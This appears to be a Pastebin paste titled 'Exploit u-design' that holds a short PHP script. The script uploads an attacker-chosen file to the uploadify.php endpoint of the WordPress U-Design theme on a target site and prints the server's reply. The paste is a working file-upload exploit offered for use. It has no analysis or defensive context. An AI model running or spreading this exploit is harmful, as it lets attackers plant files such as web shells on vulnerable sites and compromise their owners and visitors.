Advertisement
shor7cut

Exploit u-design

Dec 11th, 2015
481
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.51 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. if($_POST['submit']){
  4. $uploadfile = $_POST['filename'];
  5. $site = $_POST['site'];
  6.  
  7. $ch = curl_init("$site/wp-content/themes/u-design/scripts/admin/uploadify/uploadify.php");
  8. curl_setopt($ch, CURLOPT_POST, true);
  9. curl_setopt($ch, CURLOPT_POSTFIELDS,
  10.          array('Filedata'=>"@$uploadfile",
  11.           'folder'=>'/wp-content/themes/u-design/scripts/admin/uploadify/'));
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  13. $postResult = curl_exec($ch);
  14. curl_close($ch);
  15. print "$postResult";
  16. }
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement